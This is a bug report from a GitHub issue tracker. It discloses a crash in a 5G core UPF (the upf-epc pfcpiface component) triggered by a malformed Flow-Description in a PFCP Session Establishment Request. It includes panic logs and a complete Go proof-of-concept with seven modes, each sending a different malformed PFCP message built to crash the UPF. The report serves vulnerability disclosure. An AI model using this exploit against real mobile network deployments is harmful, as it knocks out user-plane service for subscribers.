Skip to content

[Bugs] UPF crash on malformed Flow-Description in Session Establishment Request #959

@LinZiyuu

Description

@LinZiyuu

Describe the bug

After the association completes, a crafted Session Establishment Request whose CreatePDR contains a malformed Flow-Description triggers an out-of-bounds read in parseFlowDesc (parse_sdf.go:150 → parse_pdr.go:467/552/591 → messages_session.go:91), triggering the UPF crash, and leading to DoS.

Release Information

Component: UPF (pfcpiface)
Version: upf-epc-pfcpiface:2.1.3-dev

Logs

2025-11-10T16:49:24.976Z        INFO    pfcpiface/main.go:33    setting log level to: info      {"component": "UPF", "category": "Init"}
2025-11-10T16:49:24.976Z        INFO    logger/logger.go:59     set log level: info     {"component": "UPF", "category": "Init"}
2025-11-10T16:49:24.976Z        INFO    pfcpiface/main.go:36    {Mode:sim AccessIface:{IfName:ens803f2} CoreIface:{IfName:ens803f3} CPIface:{Peers:[148.162.12.214] UseFQDN:false NodeID: HTTPPort:8080 Dnn:internet EnableUeIPAlloc:false UEIPPool:10.250.0.0/16} EnableGtpuPathMonitoring:false EnableFlowMeasure:false SimInfo:{MaxSessions:50000 StartUEIP:16.0.0.1 StartENBIP:11.1.1.129 StartAUPFIP:13.1.1.199 N6AppIP:6.6.6.6 N9AppIP:9.9.9.9 StartN3TEID:0x30000000 StartN9TEID:0x90000000 UplinkMBR:500000 DownlinkMBR:1000000 UplinkGBR:50000 DownlinkGBR:100000} ConnTimeout:0 ReadTimeout:15 EnableNotifyBess:false EnableEndMarker:false NotifySockAddr: EndMarkerSockAddr: LogLevel:info QciQosConfig:[{QCI:0 CBS:50000 PBS:50000 EBS:50000 BurstDurationMs:10 SchedulingPriority:7} {QCI:9 CBS:2048 PBS:2048 EBS:2048 BurstDurationMs:0 SchedulingPriority:6} {QCI:8 CBS:2048 PBS:2048 EBS:2048 BurstDurationMs:0 SchedulingPriority:5}] SliceMeterConfig:{N6RateBps:500000000 N6BurstBytes:625000 N3RateBps:500000000 N3BurstBytes:625000} MaxReqRetries:5 RespTimeout:2s EnableHBTimer:false HeartBeatInterval: N4Addr:}{"component": "UPF", "category": "Init"}
2025-11-10T16:49:24.977Z        ERROR   pfcpiface/bess.go:775   SetUpfInfo bess {"component": "UPF", "category": "BESS"}
2025-11-10T16:49:24.977Z        ERROR   pfcpiface/bess.go:779   bessIP localhost:10514  {"component": "UPF", "category": "BESS"}
2025-11-10T16:49:24.985Z        INFO    pfcpiface/node.go:84    listening for new PFCP connections on [::]:8805 {"component": "UPF", "category": "Pfcp"}
2025-11-10T16:49:24.985Z        INFO    pfcpiface/node.go:73    Establishing PFCP Conn with CP node. SPGWC/SMF host: 148.162.12.214, CP node: 148.162.12.214      {"component": "UPF", "category": "Pfcp"}
2025-11-10T16:49:24.985Z        INFO    pfcpiface/conn.go:121   created PFCPConn from: 172.17.0.3:8805 to: 148.162.12.214:8805{"component": "UPF", "category": "Pfcp"}
2025-11-10T16:49:24.985Z        INFO    pfcpiface/messages_conn.go:99   association Setup with DNN: internet    {"component": "UPF", "category": "Pfcp"}
2025-11-10T16:49:36.991Z        INFO    pfcpiface/node.go:129   removed connection to 148.162.12.214:8805       {"component": "UPF", "category": "Pfcp"}
2025-11-10T16:49:36.991Z        INFO    pfcpiface/conn.go:256   shutdown complete for 148.162.12.214:8805       {"component": "UPF", "category": "Pfcp"}
2025-11-10T17:17:19.457Z        INFO    pfcpiface/conn.go:121   created PFCPConn from: 172.17.0.3:8805 to: 172.17.0.1:39139{"component": "UPF", "category": "Pfcp"}
2025-11-10T17:17:19.457Z        INFO    pfcpiface/messages_conn.go:99   association Setup with DNN: internet    {"component": "UPF", "category": "Pfcp"}
2025-11-10T17:17:19.457Z        INFO    pfcpiface/messages_conn.go:159  association Setup Request from 172.17.0.1:39139 with recovery timestamp: 2025-11-10 17:17:19 +0000 UTC    {"component": "UPF", "category": "Pfcp"}
2025-11-10T17:17:19.457Z        INFO    pfcpiface/messages_conn.go:171  association setup done between nodes local: 172.17.0.3 remote: 172.17.0.1 {"component": "UPF", "category": "Pfcp"}
panic: runtime error: index out of range [5] with length 5

goroutine 44 [running]:
github.com/omec-project/upf-epc/pfcpiface.parseFlowDesc({0xc000152e28, 0x16}, {0xc0001357e0, 0x7})
        /pfcpiface/pfcpiface/parse_sdf.go:150 +0xa1d
github.com/omec-project/upf-epc/pfcpiface.(*pdr).parseSDFFilter(0xc000453b68, 0xc000256198?)
        /pfcpiface/pfcpiface/parse_pdr.go:467 +0x1bf
github.com/omec-project/upf-epc/pfcpiface.(*pdr).parsePDI(0xc000453b68, {0xc000118fa0, 0x3, 0x0?}, 0x0, 0x0)
        /pfcpiface/pfcpiface/parse_pdr.go:552 +0x3c6
github.com/omec-project/upf-epc/pfcpiface.(*pdr).parsePDR(0xc000453b68, 0xc00013dd80, 0xc00051c120?, 0x0, 0x0)
        /pfcpiface/pfcpiface/parse_pdr.go:591 +0x125
github.com/omec-project/upf-epc/pfcpiface.(*PFCPConn).handleSessionEstablishmentRequest(0xc00051a000, {0xdbee60?, 0xc000141a40})
        /pfcpiface/pfcpiface/messages_session.go:91 +0x9e5
github.com/omec-project/upf-epc/pfcpiface.(*PFCPConn).HandlePFCPMsg(0xc00051a000, {0xc00052e000, 0x95, 0xa0})
        /pfcpiface/pfcpiface/messages.go:93 +0x433
github.com/omec-project/upf-epc/pfcpiface.(*PFCPConn).Serve.func1(0xc0003b89a0)
        /pfcpiface/pfcpiface/conn.go:211 +0x1c5
created by github.com/omec-project/upf-epc/pfcpiface.(*PFCPConn).Serve in goroutine 43
        /pfcpiface/pfcpiface/conn.go:184 +0xc9

Steps to reproduce the behavior:

  1. Start a new go project inside a new folder and create a main.go and paste the code below:
  2. Init Project go mod init poc
package main

import (
    "errors"
    "flag"
    "fmt"
    "log"
    "net"
    "strings"
    "time"

    "github.com/wmnsk/go-pfcp/ie"
    "github.com/wmnsk/go-pfcp/message"
)

const (
    modeAssocMissingNodeID           = "assoc-missing-nodeid"
    modeAssocMissingRecoveryTimeStamp = "assoc-missing-recovery-timestamp"
    modeSessionMissingNodeID         = "session-missing-nodeid"
    modeSessionReportEmptyCause      = "sessionreport-empty-cause"
    modeSessionInvalidApply          = "session-invalid-applyaction"
    modeSessionMissingCPFSEID        = "session-missing-cpfseid"
    modeSessionMalformedSDFFilter    = "session-malformed-sdffilter"
    defaultCPSEID                = 0x1111222233334444
    defaultSessionRemoteSEID     = 0x2222333344445555
    defaultSessionReportRemote   = 0x3333444455556666
    heartbeatResponseBufferSize  = 4096
    defaultWaitForResponse       = 5 * time.Second
    defaultAssociationRetrySleep = 200 * time.Millisecond
)

type seqGenerator struct {
    val uint32
}

func (g *seqGenerator) Next() uint32 {
    g.val++
    if g.val == 0 || g.val > 0xFFFFFF {
        g.val = 1
    }
    return g.val
}

func forcePFCPv1(pkt []byte) {
    if len(pkt) > 0 {
        pkt[0] = (1 << 5) | (pkt[0] & 0x1F)
    }
}

func startReceiver(conn *net.UDPConn) (chan message.Message, chan error, func()) {
    msgCh := make(chan message.Message, 16)
    errCh := make(chan error, 1)
    stop := make(chan struct{})

    go func() {
        defer close(msgCh)
        defer close(errCh)

        buf := make([]byte, heartbeatResponseBufferSize)
        for {
            conn.SetReadDeadline(time.Now().Add(1 * time.Second))
            n, _, err := conn.ReadFromUDP(buf)
            if ne, ok := err.(net.Error); ok && ne.Timeout() {
                select {
                case <-stop:
                    return
                default:
                }
                continue
            }
            if err != nil {
                select {
                case errCh <- err:
                default:
                }
                return
            }

            payload := make([]byte, n)
            copy(payload, buf[:n])
            msg, err := message.Parse(payload)
            if err != nil {
                log.Printf("[rx] failed to parse PFCP message: %v", err)
                continue
            }

            switch msgTyped := msg.(type) {
            case *message.HeartbeatRequest:
                seq := msgTyped.Sequence()
                rsp := message.NewHeartbeatResponse(seq, ie.NewRecoveryTimeStamp(time.Now()))
                raw, err := rsp.Marshal()
                if err != nil {
                    log.Printf("[rx] failed to marshal Heartbeat Response: %v", err)
                    continue
                }
                forcePFCPv1(raw)
                if _, err := conn.Write(raw); err != nil {
                    log.Printf("[rx] failed to send Heartbeat Response: %v", err)
                } else {
                    log.Printf("[rx] ← Heartbeat Request (seq=%d) → responded", seq)
                }
            default:
                select {
                case msgCh <- msg:
                    log.Printf("[rx] ← %s (type=%d, seq=%d)", msg.MessageTypeName(), msg.MessageType(), msg.Sequence())
                default:
                    log.Printf("[rx] dropping %s: channel full", msg.MessageTypeName())
                }
            }

            select {
            case <-stop:
                return
            default:
            }
        }
    }()

    cancel := func() {
        close(stop)
    }

    return msgCh, errCh, cancel
}

func waitForMessage(msgCh <-chan message.Message, errCh <-chan error, timeout time.Duration, match func(message.Message) bool, description string) (message.Message, error) {
    timer := time.NewTimer(timeout)
    defer timer.Stop()

    for {
        select {
        case <-timer.C:
            return nil, fmt.Errorf("timeout waiting for %s", description)
        case err, ok := <-errCh:
            if ok && err != nil {
                return nil, fmt.Errorf("receiver error: %w", err)
            }
        case msg, ok := <-msgCh:
            if !ok {
                return nil, fmt.Errorf("receiver closed while waiting for %s", description)
            }
            if match(msg) {
                return msg, nil
            }
            log.Printf("[wait] ignoring unexpected message: %s (type=%d, seq=%d)", msg.MessageTypeName(), msg.MessageType(), msg.Sequence())
        }
    }
}

func performAssociation(conn *net.UDPConn, seqGen *seqGenerator, msgCh <-chan message.Message, errCh <-chan error, nodeID string, includeUPFInfo bool) error {
    nodeIE := ie.NewNodeID(nodeID, "", "")
    if nodeIE == nil {
        return errors.New("failed to build NodeID IE – ensure --bind is a valid IP or FQDN")
    }

    ies := []*ie.IE{
        nodeIE,
        ie.NewRecoveryTimeStamp(time.Now()),
    }
    if includeUPFInfo {
        ies = append(ies,
            ie.NewUPFunctionFeatures(0x10, 0x00, 0x00, 0x00),
            ie.NewUserPlaneIPResourceInformation(0x41, 0, nodeID, "", "", ie.SrcInterfaceAccess),
        )
    }

    assocSeq := seqGen.Next()
    req := message.NewAssociationSetupRequest(assocSeq, ies...)

    raw, err := req.Marshal()
    if err != nil {
        return fmt.Errorf("marshal association request: %w", err)
    }
    forcePFCPv1(raw)

    log.Printf("[assoc] → Association Setup Request (seq=%d)", assocSeq)
    if _, err := conn.Write(raw); err != nil {
        return fmt.Errorf("send association request: %w", err)
    }

    _, err = waitForMessage(msgCh, errCh, defaultWaitForResponse, func(m message.Message) bool {
        _, ok := m.(*message.AssociationSetupResponse)
        return ok
    }, "Association Setup Response")
    if err != nil {
        return fmt.Errorf("association failed: %w", err)
    }

    log.Printf("[assoc] Association established; ready for exploit traffic.")
    return nil
}

func sendAssocMissingNodeID(conn *net.UDPConn, seqGen *seqGenerator) error {
    seq := seqGen.Next()
    // Intentionally omit NodeID IE to trigger nil dereference in handleAssociationSetupRequest.
    req := message.NewAssociationSetupRequest(seq,
        ie.NewRecoveryTimeStamp(time.Now()),
    )
    raw, err := req.Marshal()
    if err != nil {
        return fmt.Errorf("marshal malformed association request: %w", err)
    }
    forcePFCPv1(raw)

    log.Printf("[poc] → Malformed Association Setup Request (seq=%d, missing NodeID)", seq)
    _, err = conn.Write(raw)
    return err
}

func sendAssocMissingRecoveryTimeStamp(conn *net.UDPConn, seqGen *seqGenerator, nodeID string) error {
    nodeIE := ie.NewNodeID(nodeID, "", "")
    if nodeIE == nil {
        return errors.New("unable to craft NodeID IE; supply --bind as valid IP or FQDN")
    }

    seq := seqGen.Next()
    // Intentionally omit RecoveryTimeStamp IE to trigger nil dereference in handleAssociationSetupRequest.
    req := message.NewAssociationSetupRequest(seq,
        nodeIE,
    )
    raw, err := req.Marshal()
    if err != nil {
        return fmt.Errorf("marshal malformed association request: %w", err)
    }
    forcePFCPv1(raw)

    log.Printf("[poc] → Malformed Association Setup Request (seq=%d, NodeID present, RecoveryTimeStamp missing)", seq)
    _, err = conn.Write(raw)
    return err
}

func sendSessionMissingNodeID(conn *net.UDPConn, seqGen *seqGenerator) error {
    seq := seqGen.Next()
    req := message.NewSessionEstablishmentRequest(0, 0, defaultCPSEID, seq, 0)
    raw, err := req.Marshal()
    if err != nil {
        return fmt.Errorf("marshal malformed session establishment request: %w", err)
    }
    forcePFCPv1(raw)

    log.Printf("[poc] → Session Establishment Request (seq=%d, missing NodeID/CPFSEID)", seq)
    _, err = conn.Write(raw)
    return err
}

func sendSessionMissingCPFSEID(conn *net.UDPConn, seqGen *seqGenerator, nodeID string, dnn string) error {
    nodeIE := ie.NewNodeID(nodeID, "", "")
    if nodeIE == nil {
        return errors.New("unable to craft NodeID IE; supply --bind as valid IP or FQDN")
    }

    seq := seqGen.Next()
    req := message.NewSessionEstablishmentRequest(0, 0, defaultCPSEID, seq, 0,
        nodeIE,
        ie.NewAPNDNN(dnn),
    )

    raw, err := req.Marshal()
    if err != nil {
        return fmt.Errorf("marshal malformed session establishment request (missing CPFSEID): %w", err)
    }
    forcePFCPv1(raw)

    log.Printf("[poc] → Session Establishment Request (seq=%d, NodeID present, CPFSEID missing)", seq)
    _, err = conn.Write(raw)
    return err
}

func sendSessionReportEmptyCause(conn *net.UDPConn, seqGen *seqGenerator) error {
    seq := seqGen.Next()
    // Intentionally omit Cause IE to trigger nil pointer dereference or index out of range
    // in handleSessionReportResponse at messages_session.go:546 (srres.Cause.Payload[0]).
    // This will crash UPF if it processes this response without checking for nil Cause or empty Payload.
    report := message.NewSessionReportResponse(0, 0, defaultSessionReportRemote, seq, 0)
    raw, err := report.Marshal()
    if err != nil {
        return fmt.Errorf("marshal malformed session report response: %w", err)
    }
    forcePFCPv1(raw)

    log.Printf("[poc] → Session Report Response (seq=%d, missing Cause IE) - triggers panic at srres.Cause.Payload[0]", seq)
    _, err = conn.Write(raw)
    return err
}

func sendSessionInvalidApplyAction(conn *net.UDPConn, seqGen *seqGenerator, localIP net.IP, nodeID string, dnn string) error {
    nodeIE := ie.NewNodeID(nodeID, "", "")
    if nodeIE == nil {
        return errors.New("unable to craft NodeID IE; supply --bind as valid IP or FQDN")
    }

    fseidIE := ie.NewFSEID(defaultCPSEID, localIP, nil)
    if fseidIE == nil {
        return errors.New("failed to craft F-SEID IE")
    }

    pdi := ie.NewPDI(
        ie.NewSourceInterface(ie.SrcInterfaceAccess),
        ie.NewNetworkInstance(dnn),
    )

    createPDR := ie.NewCreatePDR(
        ie.NewPDRID(1),
        ie.NewPrecedence(200),
        pdi,
        ie.NewFARID(1),
    )

    createFAR := ie.NewCreateFAR(
        ie.NewFARID(1),
        // Zero-length ApplyAction to trigger panic at action[0].
        ie.New(ie.ApplyAction, nil),
    )

    req := message.NewSessionEstablishmentRequest(0, 0, defaultCPSEID, seqGen.Next(), 0,
        nodeIE,
        fseidIE,
        createPDR,
        createFAR,
        ie.NewAPNDNN(dnn),
    )

    raw, err := req.Marshal()
    if err != nil {
        return fmt.Errorf("marshal malformed session establishment request (empty ApplyAction): %w", err)
    }
    forcePFCPv1(raw)

    log.Printf("[poc] → Session Establishment Request (seq=%d, zero-length ApplyAction)", req.Sequence())
    _, err = conn.Write(raw)
    return err
}

func sendSessionMalformedSDFFilter(conn *net.UDPConn, seqGen *seqGenerator, localIP net.IP, nodeID string, dnn string) error {
    nodeIE := ie.NewNodeID(nodeID, "", "")
    if nodeIE == nil {
        return errors.New("unable to craft NodeID IE; supply --bind as valid IP or FQDN")
    }

    fseidIE := ie.NewFSEID(defaultCPSEID, localIP, nil)
    if fseidIE == nil {
        return errors.New("failed to craft F-SEID IE")
    }

    // Malformed SDF Filter Flow Description that triggers array index out of bounds
    // in parseFlowDesc() at parse_sdf.go:150 (fields[i+1]) or parse_sdf.go:141/160 (fields[i])
    // Flow Description: "permit out ip from any" - missing "to" part causes fields[i+1] panic
    malformedFlowDesc := "permit out ip from any"

    pdi := ie.NewPDI(
        ie.NewSourceInterface(ie.SrcInterfaceAccess),
        ie.NewNetworkInstance(dnn),
        ie.NewSDFFilter(malformedFlowDesc, "", "", "", 0), // fd, ttc, spi, fl, fid
    )

    createPDR := ie.NewCreatePDR(
        ie.NewPDRID(1),
        ie.NewPrecedence(200),
        pdi,
        ie.NewFARID(1),
    )

    createFAR := ie.NewCreateFAR(
        ie.NewFARID(1),
        ie.NewApplyAction(0x02), // Forward action
    )

    req := message.NewSessionEstablishmentRequest(0, 0, defaultCPSEID, seqGen.Next(), 0,
        nodeIE,
        fseidIE,
        createPDR,
        createFAR,
        ie.NewAPNDNN(dnn),
    )

    raw, err := req.Marshal()
    if err != nil {
        return fmt.Errorf("marshal malformed session establishment request (malformed SDF Filter): %w", err)
    }
    forcePFCPv1(raw)

    log.Printf("[poc] → Session Establishment Request (seq=%d, malformed SDF Filter: %q)", req.Sequence(), malformedFlowDesc)
    log.Printf("[poc]   This triggers array index out of bounds in parseFlowDesc() at parse_sdf.go:150")
    _, err = conn.Write(raw)
    return err
}

func main() {
    mode := flag.String("mode", modeAssocMissingNodeID, strings.Join([]string{
        "POC attack mode:",
        fmt.Sprintf("  - %s", modeAssocMissingNodeID),
        fmt.Sprintf("  - %s", modeAssocMissingRecoveryTimeStamp),
        fmt.Sprintf("  - %s", modeSessionMissingNodeID),
        fmt.Sprintf("  - %s", modeSessionMissingCPFSEID),
        fmt.Sprintf("  - %s", modeSessionReportEmptyCause),
        fmt.Sprintf("  - %s", modeSessionInvalidApply),
        fmt.Sprintf("  - %s", modeSessionMalformedSDFFilter),
    }, "\n"))
    host := flag.String("host", "127.0.0.1", "UPF PFCP address")
    port := flag.Int("port", 8805, "UPF PFCP port")
    bind := flag.String("bind", "127.0.0.2", "local source IP (attacker PFCP address)")
    dnn := flag.String("dnn", "internet", "DNN to include when crafting valid PDRs")
    wait := flag.Duration("wait", defaultAssociationRetrySleep, "delay between association and exploit payload")
    flag.Parse()

    remoteAddr, err := net.ResolveUDPAddr("udp", fmt.Sprintf("%s:%d", *host, *port))
    if err != nil {
        log.Fatalf("resolve remote: %v", err)
    }

    localIP := net.ParseIP(*bind)
    if localIP == nil {
        log.Fatalf("invalid bind IP: %s", *bind)
    }
    localAddr := &net.UDPAddr{IP: localIP, Port: 0}

    conn, err := net.DialUDP("udp", localAddr, remoteAddr)
    if err != nil {
        log.Fatalf("dial udp: %v", err)
    }
    defer conn.Close()

    msgCh, errCh, cancel := startReceiver(conn)
    defer cancel()

    seqGen := &seqGenerator{}

    log.Printf("Remote UPF target: %s", remoteAddr.String())
    log.Printf("Local PFCP source: %s", conn.LocalAddr().String())
    log.Printf("Running mode: %s", *mode)
    log.Printf("")

    switch *mode {
    case modeAssocMissingNodeID:
        if err := sendAssocMissingNodeID(conn, seqGen); err != nil {
            log.Fatalf("send malformed association request: %v", err)
        }
    case modeAssocMissingRecoveryTimeStamp:
        if err := sendAssocMissingRecoveryTimeStamp(conn, seqGen, *bind); err != nil {
            log.Fatalf("send malformed association request (missing RecoveryTimeStamp): %v", err)
        }
    case modeSessionMissingNodeID:
        if err := performAssociation(conn, seqGen, msgCh, errCh, *bind, true); err != nil {
            log.Fatalf("association handshake failed: %v", err)
        }
        time.Sleep(*wait)
        if err := sendSessionMissingNodeID(conn, seqGen); err != nil {
            log.Fatalf("send malformed session establishment request: %v", err)
        }
    case modeSessionMissingCPFSEID:
        if err := performAssociation(conn, seqGen, msgCh, errCh, *bind, true); err != nil {
            log.Fatalf("association handshake failed: %v", err)
        }
        time.Sleep(*wait)
        if err := sendSessionMissingCPFSEID(conn, seqGen, *bind, *dnn); err != nil {
            log.Fatalf("send malformed session establishment request (missing CPFSEID): %v", err)
        }
    case modeSessionReportEmptyCause:
        if err := sendSessionReportEmptyCause(conn, seqGen); err != nil {
            log.Fatalf("send malformed session report response: %v", err)
        }
    case modeSessionInvalidApply:
        if err := performAssociation(conn, seqGen, msgCh, errCh, *bind, true); err != nil {
            log.Fatalf("association handshake failed: %v", err)
        }
        time.Sleep(*wait)
        if err := sendSessionInvalidApplyAction(conn, seqGen, localIP, *bind, *dnn); err != nil {
            log.Fatalf("send malformed session establishment request (empty ApplyAction): %v", err)
        }
    case modeSessionMalformedSDFFilter:
        if err := performAssociation(conn, seqGen, msgCh, errCh, *bind, true); err != nil {
            log.Fatalf("association handshake failed: %v", err)
        }
        time.Sleep(*wait)
        if err := sendSessionMalformedSDFFilter(conn, seqGen, localIP, *bind, *dnn); err != nil {
            log.Fatalf("send malformed session establishment request (malformed SDF Filter): %v", err)
        }
    default:
        log.Fatalf("unknown mode: %s", *mode)
    }

    log.Printf("")
    log.Printf("Payload delivered. Observe UPF logs for panic stack traces.")
}
  1. Download required libraries: go mod tidy
  2. Run the program with the UPF PFCP server address: go run ./main.go --mode session-malformed-sdffilter --host 172.17.0.3 --bind 172.17.0.1

Expected behavior

Validate SDF Filter Flow-Description and reject/ignore malformed values, replying with a Session Establishment Response and appropriate Cause.

Observed behavior

On receiving a Session Establishment Request with a malformed Flow-Description, UPF crashes.

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Type

    No type

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions